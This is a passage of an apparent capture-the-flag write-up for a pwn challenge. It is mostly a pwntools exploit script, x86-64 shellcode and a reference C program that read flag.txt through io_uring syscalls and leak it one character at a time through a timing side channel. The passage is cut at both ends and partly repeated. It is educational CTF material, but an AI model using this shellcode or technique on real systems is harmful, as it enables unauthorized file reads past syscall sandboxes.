    /* memset(&sqe[0], 0, sizeof(sqe[0])) */
    mov    rdi, qword ptr [rbp-0x98]
    xor    eax, eax
    mov    rcx, 0x40
    rep    stosb

    mov    rax, QWORD PTR [rbp-0x98]
    mov    BYTE PTR [rax], 0x16
    mov    rax, QWORD PTR [rbp-0x98]
    mov    edx, DWORD PTR [rbp-0xf4]
    mov    DWORD PTR [rax+0x4], edx
    lea    rdx, [rsp+0x150] /* buf address */
    mov    rax, QWORD PTR [rbp-0x98]
    mov    QWORD PTR [rax+0x10], rdx
    mov    rax, QWORD PTR [rbp-0x98]
    mov    DWORD PTR [rax+0x18], 0x1000
    mov    rax, QWORD PTR [rbp-0x98]
    mov    QWORD PTR [rax+0x8], 0xffffffffffffffff
    mov    rax, QWORD PTR [rbp-0x98]
    mov    QWORD PTR [rax+0x20], 0x2222

    /* submit sqe index 0 */
    mov    rax, QWORD PTR [rbp-0xd0]
    mov    eax, DWORD PTR [rax]
    mov    DWORD PTR [rbp-0xf0], eax
    mov    rax, QWORD PTR [rbp-0xc8]
    mov    eax, DWORD PTR [rax]
    and    eax, DWORD PTR [rbp-0xf0]
    mov    eax, eax
    lea    rdx, [rax*4+0x0]
    mov    rax, QWORD PTR [rbp-0xc0]
    add    rax, rdx
    mov    DWORD PTR [rax], 0x0
    lock   or QWORD PTR [rsp], 0x0
    mov    eax, DWORD PTR [rbp-0xf0]
    lea    edx, [rax+0x1]
    mov    rax, QWORD PTR [rbp-0xd0]
    mov    DWORD PTR [rax], edx

    /* syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) */
    mov    edi, 0x2
    mov    rsi, 0x1
    mov    rdx, 0x1
    mov    r10, 0x1
    xor    r8, r8
    xor    r9, r9
    mov    eax, 426
    call   r15

    /* reap cqe -> nread */
    mov    rax, QWORD PTR [rbp-0xb8]
    mov    eax, DWORD PTR [rax]
    mov    DWORD PTR [rbp-0xec], eax
    nop
    mov    rax, QWORD PTR [rbp-0xb0]
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    eax, DWORD PTR [rax]
    and    eax, DWORD PTR [rbp-0xec]
    mov    eax, eax
    shl    rax, 0x4
    mov    rdx, rax
    mov    rax, QWORD PTR [rbp-0xa0]
    add    rax, rdx
    mov    QWORD PTR [rbp-0x88], rax
    mov    rax, QWORD PTR [rbp-0x88]
    mov    eax, DWORD PTR [rax+0x8]
    mov    DWORD PTR [rbp-0x104], eax
    lock   or QWORD PTR [rsp], 0x0
    mov    eax, DWORD PTR [rbp-0xec]
    lea    edx, [rax+0x1]
    mov    rax, QWORD PTR [rbp-0xb8]
    mov    DWORD PTR [rax], edx

    /* [rsp+0x150] store our flag now ! */

    
    jmp $
    """
    return sc


pause()
send_shellcode(asm(craft_shellcode()))

r.interactive()

Exploit to extract flag

The method I came up with is a timing guessing attack. Simply put, after the agent reads and stores the content of flag.txt, it starts a loop waiting for a cmd from the host. The format of the cmd sent by the host is <index,guess_character>. Upon receiving it, the agent checks if the guessed character is correct. If it is correct, it runs a busy workload (blocking the host on read for about 3 seconds or more) before writing back to the host using io_uring_enter. Conversely, if the guess is wrong, it just writes back to the host immediately.

First, I wrote a working C code using only io_uring_enter and io_uring_setup, compiled it, and checked GDB to see how to use it. Then I copied the assembly code step-by-step to the shellcode, modifying some buffer locations (the original code used RIP-relative addressing for fixed buffer locations, but we can simply place the buffer at rsp+buf_offset). Also, for jumps, I just used labels. The complete reference C code is here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
#define _GNU_SOURCE
#include <linux/io_uring.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>   // AT_FDCWD, O_RDONLY

#ifndef IORING_SETUP_NO_MMAP
#define IORING_SETUP_NO_MMAP (1U << 14)   /* 0x4000 */
#endif

int main(void) {
    /* 0x2000 scratch only: [rings page][sqes page] */
    static unsigned char mem[0x2000] __attribute__((aligned(4096)));
    unsigned char *rings = mem;          /* 0x1000 */
    unsigned char *sqes  = mem + 0x1000; /* 0x1000 */

    /* buffers outside scratch */
    static unsigned char flagbuf[4096];
    static unsigned char buf2[0x100];

    /* no syscalls here */
    memset(mem, 0, sizeof(mem));
    memset(flagbuf, 0, sizeof(flagbuf));
    memset(buf2, 0, sizeof(buf2));

    struct io_uring_params p;
    memset(&p, 0, sizeof(p));
    p.flags = IORING_SETUP_NO_MMAP;
    p.sq_off.user_addr = (uintptr_t)sqes;   /* SQEs backing */
    p.cq_off.user_addr = (uintptr_t)rings;  /* rings backing */

    /* syscall #1: io_uring_setup */
    int ring_fd = syscall(SYS_io_uring_setup, 8, &p);
    if (ring_fd < 0) {
        for (;;) {}
    }

    /* ring pointers (computed once) */
    uint32_t *sq_tail  = (uint32_t *)(rings + p.sq_off.tail);
    uint32_t *sq_mask  = (uint32_t *)(rings + p.sq_off.ring_mask);
    uint32_t *sq_array = (uint32_t *)(rings + p.sq_off.array);

    uint32_t *cq_head  = (uint32_t *)(rings + p.cq_off.head);
    uint32_t *cq_tail  = (uint32_t *)(rings + p.cq_off.tail);
    uint32_t *cq_mask  = (uint32_t *)(rings + p.cq_off.ring_mask);
    struct io_uring_cqe *cqes_base = (struct io_uring_cqe *)(rings + p.cq_off.cqes);

    struct io_uring_sqe *sqe = (struct io_uring_sqe *)sqes;

    /* ------------------------------
       Helper pattern inline:
       - put SQE in sqe[0]
       - submit sqe idx 0
       - io_uring_enter(to_submit=1, min_complete=1, GETEVENTS)
       - reap 1 CQE, return res
       We'll repeat this pattern manually.
       ------------------------------ */

    /* ========== 1) OPENAT("flag.txt") via io_uring ========== */
    memset(&sqe[0], 0, sizeof(sqe[0]));
    sqe[0].opcode = IORING_OP_OPENAT;
    sqe[0].fd = AT_FDCWD;
    sqe[0].addr = (uintptr_t)"flag.txt";
    sqe[0].open_flags = O_RDONLY;
    sqe[0].len = 0;        /* mode */
    sqe[0].user_data = 0x1111;

    /* submit idx 0 */
    {
        uint32_t tail = *sq_tail;
        sq_array[tail & *sq_mask] = 0;
        __sync_synchronize();
        *sq_tail = tail + 1;
    }

    /* syscall #2: io_uring_enter (execute OPENAT) */
    if (syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, 0, 0) < 0) {
        for (;;) {}
    }

    int flag_fd;
    {
        uint32_t head = *cq_head;
        while (head == *cq_tail) { }
        struct io_uring_cqe *cqe = &cqes_base[head & *cq_mask];
        flag_fd = cqe->res;
        __sync_synchronize();
        *cq_head = head + 1;
    }
    if (flag_fd < 0) {
        for (;;) {}
    }

    /* ========== 2) READ(flag_fd, flagbuf, 4096) via io_uring ========== */
    memset(&sqe[0], 0, sizeof(sqe[0]));
    sqe[0].opcode = IORING_OP_READ;
    sqe[0].fd = flag_fd;
    sqe[0].addr = (uintptr_t)flagbuf;
    sqe[0].len = 4096;
    sqe[0].off = -1;        /* like read() */
    sqe[0].user_data = 0x2222;

    /* submit idx 0 */
    {
        uint32_t tail = *sq_tail;
        sq_array[tail & *sq_mask] = 0;
        __sync_synchronize();
        *sq_tail = tail + 1;
    }

    /* io_uring_enter (execute READ) */
    if (syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, 0, 0) < 0) {
        for (;;) {}
    }

    int flag_len;
    {
        uint32_t head = *cq_head;
        while (head == *cq_tail) { }
        struct io_uring_cqe *cqe = &cqes_base[head & *cq_mask];
        flag_len = cqe->res;
        __sync_synchronize();
        *cq_head = head + 1;
    }
    if (flag_len < 0) {
        for (;;) {}
    }
    if (flag_len > 4096) flag_len = 4096;

    /* ========== 3) Infinite oracle loop (READ stdin + conditional delay + WRITE stdout) ========== */
    for (;;) {
        /* 3.1) READ(0, buf2, 0x100) via io_uring */
        memset(&sqe[0], 0, sizeof(sqe[0]));
        sqe[0].opcode = IORING_OP_READ;
        sqe[0].fd = 0; /* stdin */
        sqe[0].addr = (uintptr_t)buf2;
        sqe[0].len = 0x100;
        sqe[0].off = -1;
        sqe[0].user_data = 0x3333;

        {
            uint32_t tail = *sq_tail;
            sq_array[tail & *sq_mask] = 0;
            __sync_synchronize();
            *sq_tail = tail + 1;
        }

        if (syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, 0, 0) < 0) {
            for (;;) {}
        }

        int rr;
        {
            uint32_t head = *cq_head;
            while (head == *cq_tail) { }
            struct io_uring_cqe *cqe = &cqes_base[head & *cq_mask];
            rr = cqe->res; /* bytes read or -errno */
            __sync_synchronize();
            *cq_head = head + 1;
        }

        /* If stdin read failed, just continue looping */
        if (rr < 9) {
            /* still must write(1, buf2, 0x100) as requested */
            /* 3.4) WRITE(1, buf2, 0x100) via io_uring */
            memset(&sqe[0], 0, sizeof(sqe[0]));
            sqe[0].opcode = IORING_OP_WRITE;
            sqe[0].fd = 1;
            sqe[0].addr = (uintptr_t)buf2;
            sqe[0].len = 0x100;
            sqe[0].off = -1;
            sqe[0].user_data = 0x4444;

            {
                uint32_t tail = *sq_tail;
                sq_array[tail & *sq_mask] = 0;
                __sync_synchronize();
                *sq_tail = tail + 1;
            }

            (void)syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, 0, 0);

            {
                uint32_t head = *cq_head;
                while (head == *cq_tail) { }
                __sync_synchronize();
                *cq_head = head + 1;
            }
            continue;
        }

        /* 3.2) parse: idx (8 bytes LE) + guess char (1 byte) */
        uint64_t idx = 0;
        memcpy(&idx, buf2, 8);
        unsigned char guess = buf2[8];

        /* 3.3) compare + conditional busy work */
        int correct = 0;
        if (idx < (uint64_t)flag_len) {
            if (flagbuf[idx] == guess) correct = 1;
        }

        if (correct) {
            /* ~3 seconds CPU burn (tune ITER for your machine) */
            volatile uint64_t acc = 0;
            const uint64_t ITER = 900000000ULL;
            for (uint64_t i = 0; i < ITER; i++) {
                acc ^= (i * 0x9e3779b97f4a7c15ULL);
                acc = (acc << 1) | (acc >> 63);
            }
            (void)acc;
        }

        /* 3.4) WRITE(1, buf2, 0x100) via io_uring */
        memset(&sqe[0], 0, sizeof(sqe[0]));
        sqe[0].opcode = IORING_OP_WRITE;
        sqe[0].fd = 1; /* stdout */
        sqe[0].addr = (uintptr_t)buf2;
        sqe[0].len = 0x100;
        sqe[0].off = -1;
        sqe[0].user_data = 0x5555;

        {
            uint32_t tail = *sq_tail;
            sq_array[tail & *sq_mask] = 0;
            __sync_synchronize();
            *sq_tail = tail + 1;
        }

        if (syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, 0, 0) < 0) {
            for (;;) {}
        }

        {
            uint32_t head = *cq_head;
            while (head == *cq_tail) { }
            __sync_synchronize();
            *cq_head = head + 1;
        }
    }
}

After feeding this shellcode to the agent, the agent will read the flag content and wait for the host to send a cmd. I defined the cmd format as <index><guess_character>, where index takes 8 bytes and guess_character takes 1 byte (convenient for pwntools input). If the guess is correct, the agent will perform busy work to differentiate the time taken between a correct and an incorrect guess.

Exploit Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
#!/usr/bin/env python3

from pwn import *

exe = ELF("./safeio_patched")
#libc = ELF("libc.so.6")
#ld = ELF("./ld-2.39.so")

context.binary = exe
context.arch = 'amd64'
context.os = 'linux'

import time
#r = process([exe.path])
r = remote('chals1.eof.ais3.org', '31338')

def send_shellcode(shellcode: bytes):
    assert len(shellcode) < 0x1000
    r.sendlineafter(b'agent > ', shellcode)

def send_cmd(cmd: bytes):
    assert len(cmd) < 0x100
    r.sendlineafter(b' > ', cmd)

# syscall(SYS_io_uring_setup, 8, &p); /* setup ring */
# syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) /* enter + wait 1 completion */

def craft_shellcode():
    sc = f"""
    mov     r11, qword ptr [rsp] /* r11 store libc address */
    mov     r12, qword ptr [rsp+0x20] /* r12 store base address */
    mov     r8, 0x2a1ca
    sub     r11, r8
    mov     r8, 0x14b0
    sub     r12, r8
    mov     r15, r12
    add     r15, 0x1c15          /* syscall;ret */

    /*  extend rbp */
    mov     r8, 0x1000
    add     rbp, r8

    /* store "flag.txt\x00" at rsp+0x100 */
    mov    rax, 0x7478742e67616c66
    mov qword ptr [rsp+0x100], rax
    mov byte ptr [rsp+0x108], 0

    /* unsigned char *rings = mem */ /*mem located at [r11+0x205000] */
    lea    rax, [r11+0x205000]
    mov    QWORD PTR [rbp-0xf0], rax

    /* unsigned char *sqes = mem */
    lea    rax, [r11+0x206000]
    mov    QWORD PTR [rbp-0xe8], rax

    mov    rdi, qword ptr [rbp-0xf0]
    xor    eax, eax
    mov    rcx, 0x1000
    rep    stosb

    mov    rdi, qword ptr [rbp-0xe8]
    xor    eax, eax
    mov    rcx, 0x1000
    rep    stosb

    /* put struct io_uring_params p at [rbp-0x80] and clear all */
    lea     rdi, [rbp-0x80]
    xor     eax, eax
    mov     rcx, 0x78
    rep     stosb

    /* set p.flags = IORING_SETUP_NO_MMAP */
    mov    DWORD PTR [rbp-0x78], 0x4000

    /* set p.sq_off.user_addr = (uintptr_t)sqes */
    mov    rax, QWORD PTR [rbp-0xe8]
    mov    QWORD PTR [rbp-0x38], rax

    /* set p.cq_off.user_addr = (uintptr_t)rings */
    mov    rax, QWORD PTR [rbp-0xf0]
    mov    QWORD PTR [rbp-0x10], rax

    /* syscall(SYS_io_uring_setup, 8, &p) */
    mov    eax, 425
    mov    edi, 8
    lea    rsi, [rbp-0x80]
    call   r15

    /* uint32_t *sq_tail  = (uint32_t *)(rings + p.sq_off.tail); */
    mov    eax, DWORD PTR [rbp-0x54]
    mov    edx, eax
    mov    rax, QWORD PTR [rbp-0xf0]
    add    rax, rdx
    mov    QWORD PTR [rbp-0xe0], rax

    /* uint32_t *sq_mask  = (uint32_t *)(rings + p.sq_off.ring_mask); */
    mov    eax, DWORD PTR [rbp-0x50]
    mov    edx, eax
    mov    rax, QWORD PTR [rbp-0xf0]
    add    rax, rdx
    mov    QWORD PTR [rbp-0xd8], rax

    /* uint32_t *sq_array = (uint32_t *)(rings + p.sq_off.array); */
    mov    eax, DWORD PTR [rbp-0x40]
    mov    edx, eax
    mov    rax, QWORD PTR [rbp-0xf0]
    add    rax, rdx
    mov    QWORD PTR [rbp-0xd0], rax

    /* uint32_t *cq_head = (uint32_t *)(rings + p.cq_off.head); */
    mov    eax, DWORD PTR [rbp-0x30]
    mov    edx, eax
    mov    rax, QWORD PTR [rbp-0xf0]
    add    rax, rdx
    mov    QWORD PTR [rbp-0xc8], rax

    /* uint32_t *cq_tail = (uint32_t *)(rings + p.cq_off.tail); */
    mov    eax, DWORD PTR [rbp-0x2c]
    mov    edx, eax
    mov    rax, QWORD PTR [rbp-0xf0]
    add    rax, rdx
    mov    QWORD PTR [rbp-0xc0], rax

    /* uint32_t *cq_mask = (uint32_t *)(rings + p.cq_off.ring_mask); */
    mov    eax, DWORD PTR [rbp-0x28]
    mov    edx, eax
    mov    rax, QWORD PTR [rbp-0xf0]
    add    rax, rdx
    mov    QWORD PTR [rbp-0xb8], rax

    /* struct io_uring_cqe *cqes_base = (struct io_uring_cqe *)(rings + p.cq_off.cqes); */
    mov    eax, DWORD PTR [rbp-0x1c]
    mov    edx, eax
    mov    rax, QWORD PTR [rbp-0xf0]
    add    rax, rdx
    mov    QWORD PTR [rbp-0xb0], rax

    /* struct io_uring_sqe *sqe = (struct io_uring_sqe *)sqes; */
    mov    rax, QWORD PTR [rbp-0xe8]
    mov    QWORD PTR [rbp-0xa8], rax

    /* memset(&sqe[0], 0, sizeof(sqe[0])); */
    mov    rdi, qword ptr [rbp-0xa8]
    xor    eax, eax
    mov    rcx, 0x40
    rep    stosb

    /* sqe[0].opcode = IORING_OP_OPENAT; */
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    BYTE PTR [rax], 0x12

    /* sqe[0].fd = AT_FDCWD; */
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    DWORD PTR [rax+0x4], 0xffffff9c

    /* sqe[0].addr = (uintptr_t)"flag.txt";, where at [rsp+0x100] */
    lea    rdx, [rsp+0x100]
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    QWORD PTR [rax+0x10], rdx

    /* sqe[0].open_flags = O_RDONLY; */
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    DWORD PTR [rax+0x1c], 0x0

    /* sqe[0].len = 0; */
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    DWORD PTR [rax+0x18], 0x0

    /* sqe[0].user_data = 0x1111; */
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    QWORD PTR [rax+0x20], 0x1111

    /* submit sqe index 0 */
    mov    rax, QWORD PTR [rbp-0xe0]
    mov    eax, DWORD PTR [rax]
    mov    DWORD PTR [rbp-0x138], eax
    mov    rax, QWORD PTR [rbp-0xd8]
    mov    eax, DWORD PTR [rax]
    and    eax, DWORD PTR [rbp-0x138]
    mov    eax, eax
    lea    rdx, [rax*4+0x0]
    mov    rax, QWORD PTR [rbp-0xd0]
    add    rax, rdx
    mov    DWORD PTR [rax], 0x0
    lock   or QWORD PTR [rsp], 0x0
    mov    eax, DWORD PTR [rbp-0x138]
    lea    edx, [rax+0x1]
    mov    rax, QWORD PTR [rbp-0xe0]
    mov    DWORD PTR [rax], edx

    /* syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) */
    mov    edi, 0x2
    mov    rsi, 0x1
    mov    rdx, 0x1
    mov    r10, 0x1
    xor    r8, r8
    xor    r9, r9
    mov    eax, 426
    call   r15

    /* reap cqe -> fd */
    /* uint32_t head = *cq_head; */
    mov    rax, QWORD PTR [rbp-0xc8]
    mov    eax, DWORD PTR [rax]
    mov    DWORD PTR [rbp-0x134], eax
    nop
    /* while (head == *cq_tail) */
loop1:
    mov    rax, QWORD PTR [rbp-0xc0]
    mov    eax, DWORD PTR [rax]
    cmp    DWORD PTR [rbp-0x134], eax
    je loop1

    /* struct io_uring_cqe *cqe = &cqes_base[head & *cq_mask]; */
    mov    rax, QWORD PTR [rbp-0xb8]
    mov    eax, DWORD PTR [rax]
    and    eax, DWORD PTR [rbp-0x134]
    mov    eax, eax
    shl    rax, 0x4
    mov    rdx, rax
    mov    rax, QWORD PTR [rbp-0xb0]
    add    rax, rdx
    mov    QWORD PTR [rbp-0xa0], rax

    /* flag_fd = cqe->res */
    mov    rax, QWORD PTR [rbp-0xa0]
    mov    eax, DWORD PTR [rax+0x8]
    mov    DWORD PTR [rbp-0x130], eax

    /* __sync_synchronize() */
    lock   or QWORD PTR [rsp], 0x0

    /* *cq_head = head + 1; */
    mov    eax, DWORD PTR [rbp-0x134]
    lea    edx, [rax+0x1]
    mov    rax, QWORD PTR [rbp-0xc8]
    mov    DWORD PTR [rax], edx

    /* check fd here if needed, fd located at [rbp-0x130] */
    /* READ(fd, buf, 4096) */
    /* we let buf at rsp+[0x150] */

    /* memset(&sqe[0], 0, sizeof(sqe[0])) */
    mov    rdi, qword ptr [rbp-0xa8]
    xor    eax, eax
    mov    rcx, 0x40
    rep    stosb

    /* setup READ(fd, buf, 4096) */
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    BYTE PTR [rax], 0x16
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    edx, DWORD PTR [rbp-0x130]
    mov    DWORD PTR [rax+0x4], edx
    lea    rdx, [rsp+0x150] /* buf address */
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    QWORD PTR [rax+0x10], rdx
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    DWORD PTR [rax+0x18], 0x1000
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    QWORD PTR [rax+0x8], 0xffffffffffffffff
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    QWORD PTR [rax+0x20], 0x2222

    /* submit sqe index 0 */
    mov    rax, QWORD PTR [rbp-0xe0]
    mov    eax, DWORD PTR [rax]
    mov    DWORD PTR [rbp-0x12c], eax
    mov    rax, QWORD PTR [rbp-0xd8]
    mov    eax, DWORD PTR [rax]
    and    eax, DWORD PTR [rbp-0x12c]
    mov    eax, eax
    lea    rdx, [rax*4+0x0]
    mov    rax, QWORD PTR [rbp-0xd0]
    add    rax, rdx
    mov    DWORD PTR [rax], 0x0
    lock   or QWORD PTR [rsp], 0x0
    mov    eax, DWORD PTR [rbp-0x12c]
    lea    edx, [rax+0x1]
    mov    rax, QWORD PTR [rbp-0xe0]
    mov    DWORD PTR [rax], edx

    /* syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) */
    mov    edi, 0x2
    mov    rsi, 0x1
    mov    rdx, 0x1
    mov    r10, 0x1
    xor    r8, r8
    xor    r9, r9
    mov    eax, 426
    call   r15

    /* reap cqe -> nread */

    /* uint32_t head = *cq_head; */
    mov    rax, QWORD PTR [rbp-0xc8]
    mov    eax, DWORD PTR [rax]
    mov    DWORD PTR [rbp-0x128], eax
    nop

    /* while (head == *cq_tail) */
loop2:
    mov    rax, QWORD PTR [rbp-0xc0]
    mov    eax, DWORD PTR [rax]
    cmp    DWORD PTR [rbp-0x128], eax
    je loop2

    /* struct io_uring_cqe *cqe = &cqes_base[head & *cq_mask]; */
    mov    rax, QWORD PTR [rbp-0xb8]
    mov    eax, DWORD PTR [rax]
    and    eax, DWORD PTR [rbp-0x128]
    mov    eax, eax
    shl    rax, 0x4
    mov    rdx, rax
    mov    rax, QWORD PTR [rbp-0xb0]
    add    rax, rdx
    mov    QWORD PTR [rbp-0x98], rax

    /* flag_len = cqe->res; */
    mov    rax, QWORD PTR [rbp-0x98]
    mov    eax, DWORD PTR [rax+0x8]
    mov    DWORD PTR [rbp-0x144], eax

    /* __sync_synchronize() */
    lock   or QWORD PTR [rsp], 0x0

    mov    eax, DWORD PTR [rbp-0x128]
    lea    edx, [rax+0x1]
    mov    rax, QWORD PTR [rbp-0xc8]
    mov    DWORD PTR [rax], edx

    /* [rsp+0x150] store our flag now ! */

    /* start looping */
guess_loop:
    mov    rdi, qword ptr [rbp-0xa8]
    xor    eax, eax
    mov    rcx, 0x40
    rep    stosb

    lea    rdi, [rsp+0x20]
    xor    eax, eax
    mov    rcx, 0x10
    rep    stosb

    mov    rax, QWORD PTR [rbp-0xa8]
    mov    BYTE PTR [rax], 0x16
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    DWORD PTR [rax+0x4], 0x0
    /* put buf2 at [rsp+0x20] */
    lea    rdx, [rsp+0x20]
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    QWORD PTR [rax+0x10], rdx
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    DWORD PTR [rax+0x18], 0x100
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    QWORD PTR [rax+0x8], 0xffffffffffffffff
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    QWORD PTR [rax+0x20], 0x3333
    mov    rax, QWORD PTR [rbp-0xe0]
    mov    eax, DWORD PTR [rax]
    mov    DWORD PTR [rbp-0x124], eax
    mov    rax, QWORD PTR [rbp-0xd8]
    mov    eax, DWORD PTR [rax]
    and    eax, DWORD PTR [rbp-0x124]
    mov    eax, eax
    lea    rdx, [rax*4+0x0]
    mov    rax, QWORD PTR [rbp-0xd0]
    add    rax, rdx
    mov    DWORD PTR [rax], 0x0
    lock   or QWORD PTR [rsp], 0x0
    mov    eax, DWORD PTR [rbp-0x124]
    lea    edx, [rax+0x1]
    mov    rax, QWORD PTR [rbp-0xe0]
    mov    DWORD PTR [rax], edx

    /* syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) */
    /* read from host */
    mov    edi, 0x2
    mov    rsi, 0x1
    mov    rdx, 0x1
    mov    r10, 0x1
    xor    r8, r8
    xor    r9, r9
    mov    eax, 426
    call   r15

    /* assume it is correct */
    /* uint32_t head = *cq_head; */
    mov    rax, QWORD PTR [rbp-0xc8]
    mov    eax, DWORD PTR [rax]
    mov    DWORD PTR [rbp-0x120], eax
    nop

    /* while (head == *cq_tail) */
loop3:
    mov    rax, QWORD PTR [rbp-0xc0]
    mov    eax, DWORD PTR [rax]
    cmp    DWORD PTR [rbp-0x120], eax
    je  loop3

    /* struct io_uring_cqe *cqe = &cqes_base[head & *cq_mask]; */
    mov    rax, QWORD PTR [rbp-0xb8]
    mov    eax, DWORD PTR [rax]
    and    eax, DWORD PTR [rbp-0x120]
    mov    eax, eax
    shl    rax, 0x4
    mov    rdx, rax
    mov    rax, QWORD PTR [rbp-0xb0]
    add    rax, rdx
    mov    QWORD PTR [rbp-0x90], rax

    /* rr = cqe->res; */
    mov    rax, QWORD PTR [rbp-0x90]
    mov    eax, DWORD PTR [rax+0x8]
    mov    DWORD PTR [rbp-0x11c], eax

    lock   or QWORD PTR [rsp], 0x0

    /*  *cq_head = head + 1; */
    mov    eax, DWORD PTR [rbp-0x120]
    lea    edx, [rax+0x1]
    mov    rax, QWORD PTR [rbp-0xc8]
    mov    DWORD PTR [rax], edx

    /* assume that rr always correct */
    /* 3.2) parse: idx (8 bytes LE) + guess char (1 byte) */
    mov    QWORD PTR [rbp-0x108], 0x0
    mov    rax, QWORD PTR [rsp+0x20]
    mov    QWORD PTR [rbp-0x108], rax
    movzx  eax, BYTE PTR [rsp+0x28]
    mov    BYTE PTR [rbp-0x145], al
    mov    DWORD PTR [rbp-0x140], 0x0
    mov    eax, DWORD PTR [rbp-0x144]
    cdqe

    /* assume that idx < flag_len */
    /* if (flagbuf[idx] == guess) correct = 1; */
    mov    rax, QWORD PTR [rbp-0x108]
    lea    rdx, [rsp+0x150]
    movzx  eax, BYTE PTR [rax+rdx*1]
    cmp    BYTE PTR [rbp-0x145], al
    jne guess_wrong

    mov    DWORD PTR [rbp-0x140], 0x1
guess_wrong:
    cmp    DWORD PTR [rbp-0x140], 0x0
    je  write_host

    /* here if guess correct tunehere */
    mov    QWORD PTR [rbp-0x100], 0x0
    mov    QWORD PTR [rbp-0x88], 0x3a4e900
    mov    QWORD PTR [rbp-0xf8], 0x0
    jmp    busy_work
guess_correct:
    mov    rax, QWORD PTR [rbp-0xf8]
    movabs rdx, 0x9e3779b97f4a7c15
    imul   rdx, rax
    mov    rax, QWORD PTR [rbp-0x100]
    xor    rax, rdx
    mov    QWORD PTR [rbp-0x100], rax
    mov    rax, QWORD PTR [rbp-0x100]
    lea    rdx, [rax+rax*1]
    mov    rax, QWORD PTR [rbp-0x100]
    shr    rax, 0x3f
    or     rax, rdx
    mov    QWORD PTR [rbp-0x100], rax
    add    QWORD PTR [rbp-0xf8], 0x1
busy_work:
